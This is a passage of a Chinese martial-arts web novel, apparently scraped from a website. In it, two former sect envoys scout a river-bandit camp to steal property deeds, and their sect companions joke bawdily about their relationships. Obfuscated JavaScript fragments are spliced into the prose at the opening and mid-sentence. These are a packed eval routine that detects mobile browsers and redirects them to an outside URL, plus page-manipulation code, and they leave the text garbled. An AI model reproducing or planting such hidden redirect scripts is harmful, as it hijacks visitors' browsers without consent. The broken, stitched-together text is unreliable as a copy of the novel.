l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808914|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花青一凛,知道呼延酬要说到正题了。 呼延酬皱眉道:“他从未把镜离当作自己的女儿,只把她作为替他联姻好给他带来利益的工具。白广宴是个老头,早年丧妻,之后未再娶,朱显坪让白广宴当上家主后竟想让她嫁给那老鳏夫。”呼延酬呼出一口气,“镜离作为朱家的女儿,曾经也一心一意为家族着想,当初我让她跟我去水西,她终究放不下母家,所以未曾答应。朱显坪操纵白氏家主人选,镜离虽不愿做这些事,却也看在母家看在朱显坪是她父亲的份上出了力,但朱显坪反手便出卖了她,让她嫁给各种……与她根本不合适的人,在她那父亲眼里,无论女子为家族做了多少,她的价值都只在婚姻,只在生育,以及由这两样东西带给做父亲的人的好处。于是镜离终于决定和她的家族决裂,这之后不久,她便遇上了被派来临蓟的我。” 呼延酬继续道:“当镜离对他那不是人的爹彻底看清彻底绝望后,我们夫妇二人商量,要让朱家的部分财产属于我们。” 姬花青双眼快速眨动了数下,似乎在消化方才听到的信息,她道:“所以说你要和你夫人一起谋夺她娘家的财产?” 呼延酬道:“你把话说得太难听,镜离为朱家做了很多,但朱家对她并不好,我只是帮她拿回本该属于她的那份成果,而这些好处都被朱显坪留给了他儿子。” 姬花青道:“你要我帮你做的事就是这个?” 呼延酬道:“你说对了。” 姬花青道:“白氏和朱氏的人武功是什么水平,八年前我们就知道了,以你呼延酬的武功,要单独做成这件事应当不难。”她头一偏,“那么你需要我些什么呢?还有,”她再一次提出了先前呼延酬没有回答的那个疑问,“你和镜离就住在临蓟,你那位岳丈朱显坪,他是怎么忍住没来找你们麻烦的?” 呼延酬道:“这两个问题我大概可以一起回答你。”他看着姬花青,“你也知道如今的白氏家主又换成了白玄逸,朱显坪一直在操控白氏的家主人选,这次却反被自己一手扶持上位的白玄逸利用了。风水轮流转,朱显坪终于也体会到了被用完后再被一脚踹开的滋味——他没能玩过白玄逸。” 姬花青闻言心道:“朱显坪逐年打雁,却不曾想被白玄逸这只小雁啄了眼睛。” 呼延酬道:“朱显坪这次不仅栽了,而且栽得很狠,他不仅没能成功控制白玄逸,还被白玄逸将一双腿废了,和自己儿子一起逃走躲了起来,他自顾不暇,自然没法来找我们夫妇二人麻烦。至于我刚来临蓟那会,一开始朱显坪并不知道镜离去了哪,后来晓得是跟我在一起后,也是暴跳如雷,但白广宴并不像之前那白氏少爷一般对镜离有什么执念,朱家人自己的武功又排不上号,他们只能看着我的长枪破口大骂,能拿我们有什么办法?再后来朱显坪将全副精力放在跟白玄逸斗智斗勇上,所以我们一家便一直安然住在临蓟。” 姬花青心道:“朱显坪的腿也废了,呼延酬要拿走朱家的部分财产应该更如探囊取物一般,却怎么还要我帮忙后才把金玉霜的情报告诉我?不会只是为了恶心我一下吧?” 呼延酬继续道:“白玄逸斗赢朱显坪后,将朱氏的所有财产都收归自己囊中,所以要拿到我们想要的东西,要面对的不是朱家的人,而是白玄逸的人。” 姬花青道:“这个白玄逸很厉害么?连你面对他都如此慎重。”她以为白氏都是草包。 呼延酬道:“他本身武功不好说,但他手下有一队人马武功不容小觑,能说服这些人帮他做事也算有点本事,不怪朱显坪制不住他反被他所制。而从朱家拿到的东西就是这群人在看管。” 姬花青道:“明白了,你要我跟你一起对付这帮人。” 呼延酬凝重道:“姬花青,我先要提醒你,千万别小看这帮人,他们每一个都不简单,分开来就已经很难对付,更别说合力围攻,这些人很扎手。这也是我让你来帮这个忙的原因,我承认你在武功上确实有不凡的见解造诣,就让我看看这几年你长进了多少。” 姬花青心想,好啊,她原本以为这件事只是一般棘手,没想到连呼延酬都这么说,这是要上刀山下火海了。 但一切都是为了得到有关金玉霜的消息,只要能拿到金玉霜,她什么都愿意做。 就在姬花青准备进屋时,呼延酬最后说道:“还有,别再说朱显坪是我岳父之类的话了,我可没把那玩意儿当做岳父。” 进到屋中,姬花青与众人告辞,郗鸿杳忽然拉过姬花青的手在后者掌心留下一吻,道:“花青,保重,希望以后还能再见。”说完歪嘴一笑。 这一举动在雨馀凉看来着实有些不寻常,他也因此在这时才好好看向玄同教北护法郗鸿杳。 郗鸿杳身材高大,嗓音中性,打扮也中性。她的头发并不长,五官英气,虽然不像一般女子那般柔媚,但非常耐看,让人看了十分舒服。 朱镜离握住襁褓中儿子的小手向姬花青和雨馀凉挥手,道:“跟姬姑姑,雨哥哥说,”她用孩子般的语气道:“再见~” 离开呼延酬和朱镜离家后,姬花青回头看向那亮着黄色灯光的屋子。 她从来都觉得觉得自己和这种生活无缘,同样也认为呼延酬与此无缘。 如今看着呼延酬过着这样的日子,她的心情竟有些复杂。 101. 交易(二) 姬花青站在仲邑江边,夜晚的江风徐徐吹来,将她两鬓的碎发吹得轻轻拂动,夏日的衣物布料轻薄柔软,她的广袖也被清风带起。 察觉到身后细微的动静,她回头道:“你来迟了。” 在她身后,呼延酬正一步步走近。 呼延酬道:“我给孩子洗澡,稍微耽误了一些时间。” 姬花青哼了一声,双手抱在胸前,道:“所以我们该去哪找你说的那些人。” 呼延酬道:“顺着江往上游走。” 昨日在呼延酬家中,二人约好在今晚在仲邑江边碰头。姬花青左手握刀,身后斜背长剑,呼延酬也将长枪背在背上。 姬花青转身道:“那我们这就走吧,赶紧把事情解决了,我好早点从你那里知道我要的消息。” 二人行进途中,姬花青道:“什么?” 呼延酬道:“我都说了这伙人不容小觑,要花个几天时间摸清他们的底细再行动是正常的吧。” “……”姬花青无从反驳,但她原本以为这事虽危险,却只用花一个晚上就能搞定。她必须快点得知金玉霜的下落,否则终归夜长梦多,谁知道随着时间的推移又会发生什么意想不到的变数?她都已经来到临蓟了,若因为这件事耽误了时间而与金玉霜失之交臂,姬花青想,那么她会活剐了呼延酬。 二人沿着仲邑江往上游走,一直来到了临蓟城外的一处地方,姬花青只觉这里芦苇水草十分茂密,呼延酬轻声道:“到了。” 二人隐在芦苇丛中,姬花青顺着呼延酬所指的方向一看,只见层层芦苇之后,有一座临水的营寨。 一弯月牙倒映在波心,水上浮着数十艘小船,皆随着水波微微晃动着。寨子外用一端削尖的木头竖起围了一圈,而那些木头上方,每隔一段距离都闪动着黄色的光点。 隔得太远看不真切,但姬花青知道,每一个光点都是一个举着火把的站岗守卫。 看样子是一座水匪营寨。“原来是吃漂子钱的老合。”姬花青想。 她转头看向呼延酬,道:“朱家的财物在他们手上?那个白玄逸身为白道人物,竟暗中与水匪合作?” 呼延酬道:“若是一般的水匪也不会让人这么头疼,这座匪寨里高手众多,守备严密,一只蚂蚁都难以进去,一只苍蝇都难以飞出,更别说要潜入进去把里面的东西拿出来了。” 姬花青道:“……那多一个我跟你一个人去又有什么分别?你应该找更多的人来。” 呼延酬道:“人多了把动静闹大惊动一些人反而不好,你一个就够了,你不是挺擅长鬼鬼祟祟地潜入?” 姬花青眉毛一挑:“所以你的计划是?” 呼延酬道:“我负责正面吸引住火力,你负责绕后,趁他们全副注意都在我身上,将东西偷出来。” 姬花青道:“我服了,这就是你的计划,你以为我是大力神?那么多东西你认为我搬得动?” 呼延酬道:“你以为朱家的财产是金银财宝?” 姬花青道:“神兵利器多来几把我也搬不动。” 呼延酬道:“难道在你眼里房契地契不算财产?” 姬花青道:“房契地契?你们夫妻就为了这种东西如此大费周章?甘冒如此大的风险?” 呼延酬道:“有何不可?”他顿了顿,“你是漂泊无定的江湖人,自然不懂普通人吃饭过活安身立命需要哪些东西。” 姬花青听呼延酬这话怎么听怎么别扭,心想你呼延酬就不是江湖人了? 姬花青默了默,道:“好吧,为了几张纸,如果朱氏家大业大的话几十张纸,我们冒如此大的风险,万一我死了怎么办?” 呼延酬道:“正面吸引注意的是我,你若死了我多半也死了。等东西到手后,你见我被众人围攻,便冷不丁从背后给那伙贼人一人一刀,我们前后夹击,突出重围应当没问题。” 姬花青抬头看向呼延酬,道:“呼延酬,若我死了,而你这混蛋还活着的话,我必化作厉鬼,不仅来寻你,你妻子、一双儿女,我都不会放过,我不仅会将你拖下地狱,还会让她们都来陪你。” 呼延酬低头看着姬花青,下巴左右动了动,过了一会道:“放心,武功再厉害的水匪终究是水匪,不是什么顶尖高手,何况你有那‘泼火雨功’,只要不大意,我们是能够做到全身而退的。” 二人闲话说到这里,随后姬花青和呼延酬便登上匪寨旁的一处高地,熟悉寨内布局,以及各处的人手布置、巡逻规律等,试图找到突袭匪寨时的最佳时机与路径。 二人连着几晚都一同去到那水匪营寨附近踩盘子,而在白天,为了商讨之后要做的事,呼延酬有时会去到姬花青和雨馀凉所住的客栈找姬花青,有时姬花青也会到呼延酬家中找呼延酬。玄同教的人也常来呼延酬家中与后者谈论教中事务,一来二去,雨馀凉倒是跟呼延酬等玄同教中人混熟了。 从前雨馀凉在谷州刀派时也听说过玄同教的事迹,毫无例外都是血淋淋阴恻恻的,让人不寒而栗,那时在他的心中,水西魔教的这些所谓“魔头”都是残忍嗜血冷酷无情性格乖戾近似妖魔的存在,然而通过几天的接触,他发现姬花青的这些前同僚不仅跟普通人没什么两样,还一个二个都是好事之徒。 比方说这日雨馀凉随姬花青到呼延酬家中,玄同教的人也刚好在这里。屋内姬花青和呼延酬将那水匪营寨的平面布局画成图纸在桌上摊开商议突袭潜入路线,朱镜离也不时过来看一眼并提出自己的看法。而在屋外院落中,朱镜离摆了两张桌子数把椅子,玄同教诸人和雨馀凉坐在院中喝茶。 除那日就已经来过呼延酬家中的玄同教诸人外,玄同教主康忱守的副手雷心主今日也到了这。 雨馀凉想起之前郗鸿杳对姬花青不寻常的举动,一边喝茶一边将眼睛从茶碗后面抬起偷偷觑向这位玄同教的五护法之一。 不承想雨馀凉刚看向郗鸿杳,郗鸿杳眼光也无意间飘向雨馀凉,二人的目光就这样对上了,雨馀凉有些尴尬,连忙想移开目光,郗鸿杳却用爽朗的语气道:“哟,花青的徒弟真是好俊的一个小郎君,你们觉不觉得这孩子真的长得很好。” 冉苏眉捂嘴轻轻笑道:“那日第一回见,我就觉得他长得很俊,让人想忽视都无法。” 虽然这不是雨馀凉第一次被夸赞外貌,他的脸还是红了。 邬襄道:“不过真没想到,呼延兄到临蓟这几年不仅已娶妻成家,连孩子都有了,还有两个。” 花道人道:“到他这个年纪也该有了,你们瞧教主、鹿兄,还有教里其他到了年纪的弟兄,哪个不是有家室的人?” 覃七霄对花道人道:“你这过来人老男人语气能不能收收?这味熏到我了。话说回来,亏你能说出这话,你比呼延大哥大了不少,怎么还是光棍?” 花道人道:“我可是很多女子的知心好友,若是成了亲,就不能再像现在这般听她们倾诉、软语安慰她们了。”他一手抚上胸口,抬头望天。看他表情,似乎十分沉醉于自己如今的身份中。 覃七霄道:“你的朋友是在暖香阁,还是醉红楼?” 花道人道:“都有,你还漏了翠银院。” 覃七霄道:“那你朋友不少。” 花道人道:“自然,我是天下女子之友。”他的眸子突然毫无征兆地转向雨馀凉,随后两边手肘撑在桌上,身体前倾,对雨馀凉道:“馀凉小兄弟,你跟花青……究竟是什么关系?” 雨馀凉道:“花青前辈……是我师父。”在雨馀凉印象中,关于他们之间的关系,之前姬花青应该已经跟这些玄同教的前同僚们说过了才对,那时姬花青说二人是师徒,雨馀凉想大约是姬花青已然懒于解释。不管怎样,他不知花道人为什么在这时问出这个问题。 花道人点点头,口中却道:“那为何小兄弟不叫师父而要叫‘花青前辈’?” 雨馀凉有些窘迫,心想这可就难回答了,他也是想叫姬花青“师父”的,奈何姬花青不愿。他绞尽脑汁想了一会,道:“花青前辈年纪比我也大不了多少,平日以师父相称太过一板一眼,我们一路同行,自然是用轻松一些的称谓。” 雨馀凉这临时瞎编出来的理由听着还挺有道理,然而他说话前片刻的犹豫与挣扎被花道人敏锐地捕捉到了,花道人认为自己看出了端倪,道:“你们行过拜师大礼没有?” 雨馀凉回想起将爷爷雨休葬下后,在雨休墓前,他确实是朝姬花青下跪磕头求其收自己为徒过的,这是二人相处过程中最接近行拜师大礼的一幕了。但那场面并不庄重正式,旁边没有焚香,只有大雨和泥泞,他是临时起意,姬花青也没有答应。 再之后姬花青虽同意教他武功,却也明说她不会将他当做自己的徒弟,二人不必是师徒,拜师大礼自然也就不用行。 雨馀凉道:“没有。” 花道人像是得到确认了一般,嘴微张,无声地发出了“哦”这个音节,他的头缓缓点了数下,道:“花青素来不爱与人交往,以往在教中时,教里派给她的任务通常都是她一个人去完成,教主想给她增派帮手她都说不必。更别说没任务时教里其他人约她下山去镇上喝酒,这么多年来她也就答应过两三次吧。平时她都窝在自己的住处,不是看书就是研究武功招式,十天半月都不出门。这种连着很长一段时间都不见人,也不与任何人说话的生活,她反而过得习惯。” 郗鸿杳也慨叹道:“没错,独狼一头。” 雨馀凉听他们这么说也是暗暗心惊,他虽然之前有察觉到姬花青性格中有孤僻的一面,不爱与人交游,却没想到到了如此极端的地步,毕竟姬花青跟他在一起时,倒没有表现出特别内向的样子。 花道人看着雨馀凉,道:“所以你竟能让你那花青前辈自愿跟你同行这么久,是真的很有本事。你老实回答我——”他略微压低了嗓子,“师徒名分什么的,真不是你们增加情趣的玩法么?” 雨馀凉差点一口茶喷出来。 覃七霄一脸不忍直视地看向花道人,道:“我真是受不了你了,你要不要听听看自己在说什么?”且不说花道人这话实在是有些惊世骇俗,有一点覃七霄是知道的,雨馀凉有意思的是鱼晚衣,又怎会跟姬花青有什么? 尹敕、郗鸿杳等其他在场的玄同教之人脸上也现出跟覃七霄差不多的表情。尹敕清了下嗓子,道:“花老道,能不能别把你秦楼楚馆那套东西带到这来?” 花道人道:“秦楼楚馆怎么啦?”他突然想起这是在呼延酬家的院子里,呼延酬家中还有娇妻幼女,虽然他向来根本没觉得这些有啥,却也还是收敛了声音,“外面很多地方玩的花样,比秦楼楚馆还大胆呢。真不知你们为什么要避讳聊这些本身就存在的东西。你们仔细想想,花青那种性子的人,却能忍受与另一个人日日相对这么长的时间,偏偏这郎君模样还如此俊俏,真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818575|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是因为二人之间……有特殊的关系吗?” 在场之人都沉默了,连从一开始就默默喝茶没有加入谈话的雷心主,此刻也慢慢将茶杯放了下来。 花道人的推测,别说,倒还真的有理有据。 郗鸿杳道:“难道就因为这个原因,花青连自己的本性都能违背?” 花道人道:“情色欲可是能激发出人巨大的潜能。甚至可以说,人的所有行动在根源上都由这东西驱使,情欲,色欲……爱欲。” 覃七霄道:“我不这么认为。”他将袖子挽起,握拳道:“生命在于将自己修炼成天下第一强者!” 花道人道:“去,小孩子插什么口,你现在还是个小屁孩,能懂得什么?” 覃七霄嘁了一声道:“我不懂你就懂了?师徒名分跟……什么什么玩法又有什么关了?我看你就是在那乱说一气。” 花道人道:“小鬼头,说你不懂你就真还不懂,就是要在师徒这层关系下干点什么才更加刺激,你要不要想象一下有一天跟自己师父产生了不寻常的关系?” 覃七霄突然明白过来了什么,并且不知是不是真的想到了自己的师父,他本是个厚脸皮的人,此刻却满脸通红。 雨馀凉见这群人越说越过分,偏偏自己连插口的机会都没有,正当邬襄开口对花道人说“行了,小孩子都被你教坏了”时,一道再熟悉不过的声音在背后响起:“你们在说什么?” 众人回头看去,只见姬花青和呼延酬站在众人身后。 花道人清了两声嗓子,雨馀凉觉得刚才的话还是不要让姬花青知道比较好,郗鸿杳赶紧说起了正事:“呼延左使,花青,你们的事谈完了?” 呼延酬道:“嗯。” 郗鸿杳道:“那么一会就要辛苦左使跟我们商讨我教的事了。”她看向雷心主,“今天心主也来了,有什么事他在场后续交接都要方便些。”雷心主是康忱守最为倚重信赖的副手,是玄同教主跟前的红人。 朱镜离从众人旁边走过,只见她挎着一个篮子,道:“诸位朋友今天中午就留在这吃饭,等吃完饭后再商议正事。我再去买些菜回来。” 郗鸿杳等玄同教之人皆对朱镜离道:“多有叨扰。” 覃七霄因为方才花道人说的话此刻还没完全缓过来,而花道人早已溜了,覃七霄看着来到自己面前的姬花青,道:“花……花青姐,你还是把头发放下来好看。” 甯元元道:“要你在这评头论足!” 姬花青道:“元元,没关系。”她将头一侧,“我也觉得我将头发放下来好看,但天实在是太热了。” 在朱镜离回来前,玄同教众人聊天的聊天,闲逛的闲逛,姬花青本来打算走,也被冉苏眉留下闲聊。 冉苏眉道:“青青你现在有喜欢的人吗?” 姬花青道:“……没有。”他不是现世的人,她想。 姬花青看向冉苏眉,“怎么突然问这个?” 冉苏眉道:“就是觉得你离教这么多年,一个人在外漂泊,会不会感到孤独?” 姬花青笑了,道:“我自己跟自己在一起,永远都不会感到孤独,你还不知道我吗?你呢,你跟邬襄如何?” 冉苏眉低下头,微笑道:“我跟他一直都那样。安安稳稳,平平淡淡,有时也会有一些很开心的事。” 姬花青道:“那再好不过。” 冉苏眉看向前方,她目光所及之处,呼延酬正跟女儿兰烟玩游戏。冉苏眉道:“你会想要有一个自己的孩子吗?” 姬花青脸上的笑容稍微敛去了一些,她道:“命运诡谲难测,孩子的成长过程也是如此。孩子与孩子是不同的,用同样方式去对待孩子,去教孩子,有的孩子长成了父母想要的样子,有的孩子却叫人心碎。”我就是后一种孩子,她想,我带给我母亲的只有深深的失望。“你永远不知道自己抽中的是个怎样的孩子,你永远不知道孩子会长成一个什么样的人。” 我没有勇气做一个孩子的娘,姬花青想。 晚上姬花青和呼延酬又来到那水匪营寨附近的高地上,“朱家的那些宝贝纸张就放在那?”姬花青问,她的目光落在营寨最里端的一座屋子上。 呼延酬道:“大厅后面那座屋子,门口有四个人守着的那个。” 姬花青凝目细视,门口守着的虽只有四个人,但从各个方向巡逻经过那处的水匪络绎不绝。巡逻的水匪可能从四面八方任意一个方向出现,甚至会出现两队甚至更多巡逻水匪差不多同时出现在那的情况。 这巡逻布局犹如一张密集的渔网,想要悄无声息地潜入进去的确是不可能之事,姬花青不禁感叹出声:“真是夸张啊……” 呼延酬道:“不是说了他们不是一般的水匪了吗,大姐。” “大姐”两个字刚出口,姬花青就转头看向呼延酬。 跟呼延酬待在一起就像走在坑坑洼洼的路面上,你不知道什么时候脚就被崴一下,明明前一刻还一切正常。 不过也只是崴一下,没有断胳膊断腿什么的。况且,姬花青一想到只要做成了这件事,或许很快就能拿到金玉霜,她心中竟漫上一股难以自抑的兴奋。 于是她什么也没说,又将目光从呼延酬身上移开了,转而看向匪寨。 呼延酬看到姬花青眼中倒映着下方寨中的火光,不知是不是错觉,他竟觉得这橘黄色的亮光是源自姬花青自己内心的火焰。 102. 交易(三) 经过数天晚上的踩点,白天的商议,呼延酬和姬花青突袭匪寨的计划逐渐明晰起来。 这日呼延酬去姬花青和雨馀凉所住的客栈中找姬花青。姬花青和雨馀凉的房间同处于一个小小院落,这个院落就只有这两间客房,所以院落相当于一个私人空间。 呼延酬来到小院里后,并未看见姬花青,却听见阵阵利刃破风的声响。他转过浓密葳蕤的蔷薇花架,只见是雨馀凉正在那练刀。 临蓟的夏天本就潮湿炎热,呼延酬站在雨馀凉身后不远处,见后者后背的衣衫已经被汗水湿透,薄衫贴在他躯体上,随着他的动作越发显出习武之人身形的矫健干练。尽管如此,这名少年却没有懈怠半刻,一把长刀在雨馀凉手中被使得凛然生风,他颊边的头发也被汗水浸润,湿漉漉地绞在一起,随着雨馀凉的动作一下下甩起,又一下下打在他脸上。 呼延酬没有打扰雨馀凉,只是在他身后静静看着。呼延酬雨馀凉二人武功相差悬殊,是以前者在后者身后站了良久,雨馀凉都没有发现。 将一套刀法演练完后,雨馀凉收刀站定,正准备擦一擦从鬓边滑落至眼尾的汗珠,却冷不防听见一道人声从身后传来:“小兄弟,在使到第十五招上下,出刀的时候,下盘重心要往回收一收。你照我说的法子试试,看看下回再使时身子还会不会有往前跌扑的趋势。” 雨馀凉一惊,忙回头看去,见是呼延酬,这才略微松了口气,他对呼延酬抱拳行了一礼,道:“呼延左使可是来找花青前辈的?” 呼延酬道:“不错,她人呢?出去了吗?” 雨馀凉道:“花青前辈吃完午饭后就出门了,也没说去哪,呼延左使可要在这等她回来?” 呼延酬道:“既如此,我就在这等等。” 雨馀凉道:“那么左使请进屋内,我这就去泡茶来。”说着就要引呼延酬去自己的房间。 呼延酬笑道:“不必麻烦啦,小兄弟。我方才看小兄弟练刀,自己也看得手痒起来,小兄弟若愿意,我们二人一同切磋交流一番可好?” 雨馀凉有些迟疑,道:“这……” 呼延酬微笑道:“小兄弟尽管放心,我们点到为止。你是花青的徒弟,也相当于是我的后辈,我们二人就这样一起打发下时间,如何?还有,小兄弟对我不必以职位相称,就像七霄他们那样,称我大哥就好。” 雨馀凉听呼延酬这么说,疑虑消去了大半,倒提长刀,对呼延酬再次抱拳道:“是,呼延大哥。” 于是雨馀凉以单刀对上呼延酬,呼延酬亦取下背上长枪,两人就在这小院中比划起来。 雨馀凉按照呼延酬所说,在使那一招刀法时将下盘重心往后收,果然身子不再控制不住地向前倒,接下一招刀法也顺利流畅起来,虽然他这一刀被呼延酬以长枪轻松荡开,但心中大是高兴,对呼延酬好感一下便提升了许多。 两人在切磋过程中,呼延酬不断提点雨馀凉,并告诉后者不少应对枪、矛、戟、棍等长兵的诀窍,如此提点一番,二人切磋一番,再提点一番,二人复又切磋一番。且呼延酬真如他所说的那样,点到为止,虽然雨馀凉的每一次来招他都能拆破,但都只是用长枪轻轻将雨馀凉的刀拨开。从前雨馀凉在谷州刀派时,同门间切磋他摔跟头是家常便饭,可现如今跟呼延酬切磋比划,雨馀凉连一个趔趄都不曾打过。 雨馀凉跟这位前辈大哥相处甚是融洽,几轮切磋下来后,更是感到自己今日在武功上收获匪浅。 雨馀凉突然问道:“呼延大哥,你如何知道我先前使的那一招出刀时需下盘重心后收?”呼延酬武功很高,不仅从他与姬花青在玄同教并列为左右使者能够看出,雨馀凉方才与他切磋时,更是切身体会到了这点。但呼延酬提点他的这一招,属于无涯三诀之一的斩雷诀,是十分深妙的招式。 之前雨馀凉恳求姬花青将无涯三诀教给自己,姬花青先只教了雨馀凉斩云诀的前几式,雨馀凉就感到十分吃力了。只因这无涯三诀不仅变化繁复,且要求使用此招者对内力有精准的把控,内力不到位或是稍稍过了头,下一式变化便使不出。这无涯三诀学起来不仅费神费脑费心,若是学这三套刀法的人无法精确掌控自己的内力,那么也是学不下去的。无涯三诀虽然使出来威力巨大,但对于学习者来说也足够刁钻。 雨馀凉学斩云诀前几式就吃力得不得了,而姬花青告诉雨馀凉,斩云诀在所谓“无涯三诀”中是最简单的,斩雷诀远比斩云诀复杂,而斩风诀难度更在斩雷诀之上。由于雨馀凉学斩云诀都只才开了个头,姬花青并没有教他斩雷诀,方才他使的斩雷诀那几式都是看姬花青曾经使出,他心里觉得精妙绝伦所以印象深刻,便在自己练刀时循着记忆试着模仿出来而已。 对于如此高深的刀法,惯使长枪的呼延酬竟能说出其中要诀,难道呼延酬跟姬花青一样会使两种兵器,不仅擅使枪法,同时对刀法也很擅长? 呼延酬道:“你那一招是属于一套叫叫做斩雷诀的刀法,是不是?” 雨馀凉道:“是。” 呼延酬道:“我与你花青前辈在很小的时候就已身在玄同教,我是看着她将这套刀法从不会到练成的。她那时……也来找我切磋,你遇到的问题她也遇到过,所以对于解决这些问题的窍门,我略知一二。” 雨馀凉听了呼延酬这话倒是有些惊讶,他只知道如今姬花青和呼延酬二人关系恶劣,却没想到曾经也有一起切磋武功、和睦相处的时光。 雨馀凉不禁感到好奇,二人关系是如何变成今天这样的? 呼延酬见雨馀凉练功勤奋,心生对后辈的欣赏怜爱之意,所以对雨馀凉又是提点其武功又是亲自与其切磋,他看着雨馀凉正要说什么,忽然察觉到身后有人,迅速回头朝身后看去。 只见姬花青正定定站在那蔷薇花架后头的廊上,看着两人。 雨馀凉见姬花青回来了,脸上显出高兴的神色,道:“花青前辈你可回来了,呼延大哥有事找你呢。” 呼延大哥?姬花青细细品着这称呼,雨馀凉什么时候跟他那么亲近了? 姬花青向前两步走下台阶,她的身子随着她走下台阶的动作晃动。姬花青来到院中,朝二人微微一笑,道:“馀凉这就是你的不是了,呼延大哥是客人,怎么不请进屋去喝茶,反倒让人站在这院子里受日头暴晒呢?” 雨馀凉正要说话,呼延酬便道:“馀凉小兄弟邀过我进屋喝茶了,是我让小兄弟到院里陪我切磋武功的。” 姬花青转向呼延酬,脸上挂着笑容,道:“是嘛?” 雨馀凉察觉到有哪里不对了,姬花青面对呼延酬的那个笑容,就像戏台子上伶人带的面具一样僵硬诡异。 呼延酬道:“我过来是找你商议那件事,明天或后天就可以行动了,最后还有一些东西要跟你确认下。” 姬花青道:“是该确认下。”说着朝雨馀凉笑笑,复又看向呼延酬,道:“请进屋坐下详谈。”呼延酬朝雨馀凉点了下头,雨馀凉也忙向呼延酬点点头,姬花青和呼延酬二人随即进了屋中。 雨馀凉站在原地,这情形,为什么他有干某种难以言说的事被抓包了的感觉? 姬花青和呼延酬在商议事情,雨馀凉见二人忙碌,又想起自己来临蓟也是有要事去做的,那便是寻找与自己身世相关的线索,而如今他还不知从何处入手。于是带上长刀出了客栈,准备先在临蓟城各处走走,看能否打听到什么。 来到街上,雨馀凉一边往前走一边向四周张望,忽听见一道声音传来:“雨兄弟,雨兄弟!” 雨馀凉朝声音传来的方向望去,却见街边一处茶摊上,凉棚下面,覃七霄正大剌剌地坐在那朝他招手,而坐在覃七霄对面的是个中年道士,不是花道人却又是谁? 雨馀凉走近了些,只见覃七霄一手撑着脸颊,一只脚放在另一条腿的大腿上,正嗑着瓜子。在覃七霄对面,花道人也剥着花生,不时发出“咔”的一声脆响。 覃七霄一边招呼雨馀凉坐下,一边道:“雨兄弟,你怎么一个人在街上走?花青姐呢?” 雨馀凉道:“呼延大哥来了,跟花青姐商量事呢,我待在那也没事干,就出来了。” 花道人道:“在客栈里,就他们俩人儿?” 雨馀凉点点头道:“是。” 花道人道:“哎哟,你一走,这下一发不可收拾了啊。” 覃七霄斜眼看向花道人,雨馀凉不明白花道人的意思,道:“什么不可收拾?”雨馀凉还没问完,覃七霄就插口道:“雨兄,你还是不要问比较好。” 花道人道:“孤男寡女,共处一室,干柴烈火喽。” 雨馀凉道:“怎、怎么可能?”就刚刚在客栈里那诡异气氛,雨馀凉觉得等他一走,姬花青和呼延酬把对方杀了都比花道人的说法更加可信。 花道人道:“怎么不可能?” 雨馀凉道:“他们之间的关系……明明……” 花道人看了雨馀凉一眼,道:“明明看起来很差,是不是?” 雨馀凉道:“是……” 花道人道:“我曾经也以为他们之间的关系就像看上去那样,但是,”他摇摇食指,“不然。” “越爱越恨,既爱又恨。”花道人以幽深莫测的语调吐出这八个字。 雨馀凉和覃七霄相互对视一眼,都从对方的眼里看到了疑惑。 花道人道:“你们这些小孩子没经历过这些,是不可能明白的啦。” “雨小兄弟这一走留下那两人单独在一块啊……假若现在回到客栈,说不定能撞见一些刺激的场景呢。” 雨馀凉觉得待在这里说闲话没有任何意义了,他起身对覃七霄和花道人道:“二位……在下还有事要去做,这就告辞。”说毕对二人拱了拱手,便即离开。 花道人看着雨馀凉的背影,道:“哇……不会听了我的话这就回客栈抓人去了吧?” 覃七霄道:“你真是一天到晚颠三倒四。” 花道人将一粒花生米塞进嘴里,道:“请举出你这么说的凭据。” 覃七霄道:“你明明昨天还说那馀凉小兄弟跟花青姐有什么。” 花道人道:“这冲突吗?” 覃七霄现出质疑的神色,道:“用脖子想这都是冲突的吧?” 花道人道:“所以说小孩子就是小孩子,花青就不可以同时拥有一个年纪跟自己差不多的情人和一个小白脸吗?一个足够成熟时不时跟自己摆臭脸但别有一番风味,一个涉世未深听话乖巧如白纸一般等着自己去染指,一个异域风情总跟自己唱反调但要的就是这种勉强的感觉,一个清纯小花待到来日成熟结果便任由自己采撷。” 覃七霄道:“闭嘴吧,我后悔问你这个问题了,你不仅污染了我的耳朵,还污染了我的脑子。” 花道人道:“光听我说就接受不了了?事实往往让你更加不能接受。呼延和花青这几天晚上可都是两人单独出去的哦。” 覃七霄道:“停止你那泛滥的想象,这两个人是去干正经事的,他们白天还继续讨论晚上的行动呢。” 花道人道:“别人说什么你就信什么啊?最高明的谎言便是一半真,一半假。或许他们确实也有干正经事,但不妨碍他们重燃旧情啊。依我看,这两人夜夜独处,是要死灰复燃了。” 覃七霄拿起一粒瓜子对着天光看着上面的纹路,道:“死灰复燃?这两团灰燃过吗?” 花道人道:“燃过吗?你这话问的,仿佛曾经的你是个瞎子!岂止燃过,那简直是噼里啪啦火花四溅啊。” 覃七霄回想了一下曾经“有幸”跟姬花青和呼延酬一起下山完成任务的几段回忆,忽然打了个寒噤。 好像说两人之间火花四溅也没错,可那架势,明明是恨不得烧死对方…… 花道人拍了拍手,将手上的花生皮碎屑拍掉,一面起身道:“不说了,我也要去干我自己的事了。” 覃七霄道:“哦?你也要去客栈抓人吗?” 花道人道:“那是那位雨小兄弟和呼延夫人该干的事,我去凑什么热闹?” 覃七霄将本来仰着的身子坐直,露出两颗虎牙笑道:“现如今上面没给你分派任务,你自己是有什么需要去做的事?难道是去结识新‘朋友’?” 花道人只是一笑,拂袖飘然离去。 雨馀凉在临蓟城中穿街走巷,可越是这么走下去便越发感到迷茫,越是不知从哪里着手找寻自己的身世。 